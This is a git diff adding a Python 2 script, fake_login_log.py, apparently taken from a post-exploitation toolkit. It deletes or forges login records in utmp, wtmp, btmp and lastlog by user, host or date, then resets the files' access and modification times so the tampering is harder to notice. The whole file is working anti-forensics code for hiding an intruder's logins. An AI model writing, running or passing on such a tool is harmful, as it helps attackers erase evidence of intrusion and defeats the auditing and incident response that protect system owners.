diff --git a/ssh/fake_login_log.py b/ssh/fake_login_log.py new file mode 100644 index 0000000..44356d3 --- /dev/null +++ b/ssh/fake_login_log.py @@ -0,0 +1,342 @@ +#!/usr/bin/env python2 +# -*- coding:utf-8 -*- +# author knpewg85942 +# link:https://www.freebuf.com/articles/system/141474.html +# blog:https://forreestx386.github.io/ + +import os +import sys +import time +import random +import struct +import argparse +from pwd import getpwnam + + +class GeneralError(Exception): + pass + + +class FakeLog(object): + def __init__(self, args): + self.type = args.type + self.user = args.user + self.host = args.host + self.timestamp = args.timestamp + try: + self.date = str( + time.mktime(time.strptime( + args.date, + "%Y-%m-%d %H:%M:%S"))).split('.')[0] if args.date else None + except ValueError, e: + self.date = str( + time.mktime( + time.strptime(args.date + ':0', + "%Y-%m-%d %H:%M:%S"))).split('.')[0] + self.date_end = str( + time.mktime( + time.strptime(args.date + + ":59", "%Y-%m-%d %H:%M:%S"))).split( + '.')[0] if args.date else None + + self.tty = args.tty + self.pid = args.pid + self.FILE_DICT = { + 'utmp': '/var/run/utmp', + 'wtmp': '/var/log/wtmp', + 'btmp': '/var/log/btmp', + 'lastlog': '/var/log/lastlog' + } + self.FILE_PATH = self.FILE_DICT[self.type] + self.XTMP_STRUCT = 'hi32s4s32s256shhiii4i20x' + self.XTMP_STRUCT_SIZE = struct.calcsize(self.XTMP_STRUCT) + self.LAST_STRUCT = 'I32s256s' + self.LAST_STRUCT_SIZE = struct.calcsize(self.LAST_STRUCT) + + def get_timestamp_by_user(self): + """ + 根据用户名,从/var/log/wtmp中获取用户最后一次登录记录的时间戳 + :return: + """ + _result = [] + with open(self.FILE_DICT['wtmp'], 'rb') as fd: + while True: + record_bytes = fd.read(self.XTMP_STRUCT_SIZE) + if not record_bytes: + break + data = struct.unpack(self.XTMP_STRUCT, record_bytes) + record = [(lambda s: str(s).split("\0", 1)[0])(i) + for i in data] + if record[4] == self.user: + _result.append(record[-6]) + return max(_result) if _result else None + + def delete_log(self): + """ + 根据条件删除utmp | wtmp |btmp |lastlog 中的记录 + :return: + """ + to_remain = '' + _atime = os.stat(self.FILE_PATH).st_atime # 保存修改前的文件时间属性,以便修改后恢复 + _mtime = os.stat(self.FILE_PATH).st_mtime + + if self.type.endswith('tmp'): # deal xtmp log + try: + with open(self.FILE_PATH, 'rb') as fd: + while True: + record_bytes = fd.read(self.XTMP_STRUCT_SIZE) + if not record_bytes: + break + data = struct.unpack(self.XTMP_STRUCT, record_bytes) + record = [(lambda s: str(s).split("\0", 1)[0])(i) + for i in data] + _user = record[4] + _host = record[5] + _date = record[9] + + if self.user: + if self.user == _user: + if self.host: + if self.host == _host: + if self.date: + if self.date <= _date <= self.date_end: + continue + else: + to_remain += record_bytes + else: + continue + else: + to_remain += record_bytes + elif self.date: + if self.date <= _date <= self.date_end: + continue + else: + to_remain += record_bytes + else: + continue + else: + to_remain += record_bytes + elif self.host: + if self.host == _host: + if self.date: + if self.date <= _date <= self.date_end: + continue + else: + to_remain += record_bytes + else: + continue + else: + to_remain += record_bytes + else: + if self.date <= _date <= self.date_end: + continue + else: + to_remain += record_bytes + except IOError as e: + raise GeneralError('file error: {0}'.format(e.message)) + except Exception, e: + raise GeneralError('error occur: {0}'.format(e.message)) + else: + with open(self.FILE_PATH, 'wb') as fd: + fd.write(to_remain) + os.utime(self.FILE_PATH, + (_atime, _mtime)) # restore a file atime, mtime + + else: # deal lastlog, 根据unix时间戳或用户名删除指定用户最后一次登录记录 + try: + with open(self.FILE_PATH, 'rb') as fd: + while True: + record_bytes = fd.read(self.LAST_STRUCT_SIZE) + if not record_bytes: + break + data = struct.unpack(self.LAST_STRUCT, record_bytes) + record = [(lambda s: str(s).split("\0", 1)[0])(i) + for i in data] + _timestamp = record[0] + _host = record[2] + + if self.host: + if self.host == _host: + if self.date: + if self.date == _timestamp: + continue + else: + to_remain += record_bytes + else: + continue + else: + to_remain += record_bytes + elif self.date: + if self.date == _timestamp: + continue + else: + to_remain += record_bytes + else: + to_remain += record_bytes + except IOError as e: + raise GeneralError('file error: {0}'.format(e.message)) + except Exception, e: + raise GeneralError('error occur: {0}'.format(e.message)) + else: + with open(self.FILE_PATH, 'wb') as fd: + fd.write(to_remain) + os.utime(self.FILE_PATH, + (_atime, _mtime)) # restore a file atime, mtime + + def add_log(self): + """ + 根据条件,增加额外混淆日志 + utmp | wtmp | btmp | lastlog + :return: + """ + to_add_xtmp = [ + 7, 13009, 'pts/4', 'ts/4', 'root', '10.1.100.10', 0, 0, 0, + 1500475658, 498851, 23331082, 0, 0, 0 + ] + + to_add_btmp = [ + 6, 13732, 'ssh:notty', '', 'root', '10.1.100.1', 0, 0, 0, + 1500311234, 0, 23331082, 0, 0, 0 + ] + + record_bytes = None + _backup = None + _atime = os.stat(self.FILE_PATH).st_atime + _mtime = os.stat(self.FILE_PATH).st_mtime + + if self.FILE_PATH.endswith('utmp') or self.FILE_PATH.endswith('wtmp'): + if self.user: + to_add_xtmp[4] = self.user + if self.host: + to_add_xtmp[5] = self.host + if self.tty: + to_add_xtmp[2] = self.tty + to_add_xtmp[3] = self.tty[1:] + if self.pid: + to_add_xtmp[1] = int(self.pid) + if self.date: + to_add_xtmp[-6] = int(self.date) + random.randint(1, 60) + if self.timestamp: + # 修改用户退出登录的时间 + to_add_xtmp[-6] = int(self.timestamp) + + record_bytes = struct.pack(self.XTMP_STRUCT, *to_add_xtmp) + + with open(self.FILE_PATH, 'rb') as fd: + _backup = fd.read() + record_bytes + + with open(self.FILE_PATH, 'wb') as fd: + fd.write(_backup) + + os.utime(self.FILE_PATH, + (_atime, _mtime)) # restore a file atime, mtime + + elif self.FILE_PATH.endswith('btmp'): + if self.user: + to_add_btmp[4] = self.user + if self.host: + to_add_btmp[5] = self.host + if self.tty: + to_add_btmp[2] = self.tty + to_add_btmp[3] = self.tty[1:] + if self.pid: + to_add_btmp[1] = int(self.pid) + if self.date: + to_add_btmp[-6] = int(self.date) + if self.timestamp: + to_add_btmp[-6] = int(self.timestamp) + + record_bytes = struct.pack(self.XTMP_STRUCT, *to_add_btmp) + with open(self.FILE_PATH, 'rb') as fd: + _backup = fd.read() + record_bytes + + with open(self.FILE_PATH, 'wb') as fd: + fd.write(_backup) + os.utime(self.FILE_PATH, + (_atime, _mtime)) # restore a file atime, mtime + + else: + __host = '10.1.100.1' + __date = 1500860089 + __tty = 'pts/8' + if self.user: + try: + p = getpwnam(self.user) + except: + raise GeneralError('No such user.') + + if self.host: + __host = self.host + if self.date: + __date = int(self.date) + if self.timestamp: + __date = int(self.timestamp) + if self.tty: + __tty = self.tty + + data = struct.pack(self.LAST_STRUCT, __date, __tty, __host) + try: + with open(self.FILE_PATH, 'wb') as fd: + fd.seek(self.LAST_STRUCT_SIZE * p.pw_uid) + fd.write(data) + except Exception, e: + raise GeneralError('Cannot open file: {0}'.format( + e.message)) + + +if __name__ == '__main__': + + reload(sys) + + sys.setdefaultencoding('utf8') + + usage = 'usage: fake_login_log.py --mode delete --type utmp --user root --host 10.1.100.1\n \ + fake_login_log.py --mode delete --type wtmp --user root --host 10.1.100.1 --date ' + + parse = argparse.ArgumentParser(usage=usage) + parse.add_argument('--mode', + dest='mode', + type=str, + required=True, + help='add, delete log') + parse.add_argument('--type', + dest='type', + type=str, + choices=['utmp', 'wtmp', 'btmp', 'lastlog'], + required=True, + help='utmp |wtmp |btmp |lastlog') + parse.add_argument('--user', dest='user', type=str, help='login username') + parse.add_argument('--host', dest='host', type=str, help='login from host') + parse.add_argument('--date', + dest='date', + type=str, + help='login time 2017-7-20 15:30') + parse.add_argument('--timestamp', + dest='timestamp', + type=str, + help='login time 1500475126') + parse.add_argument('--pid', + dest='pid', + type=str, + default=random.randint(os.getpid() + 100, + os.getpid() + 1000), + help='process id, for add only') + parse.add_argument('--tty', dest='tty', type=str, help='for add only') + + argument = parse.parse_args() + + if argument.mode not in ('add', 'delete', 'modify'): + raise GeneralError('error mode') + + if not any( + (argument.user, argument.host, argument.date, argument.timestamp)): + raise GeneralError( + 'you must choose at least user | host | date |timestamp as condition' + ) + + if argument.mode == 'add': + print "add" + FakeLog(argument).add_log() + else: + print "delete" + FakeLog(argument).delete_log()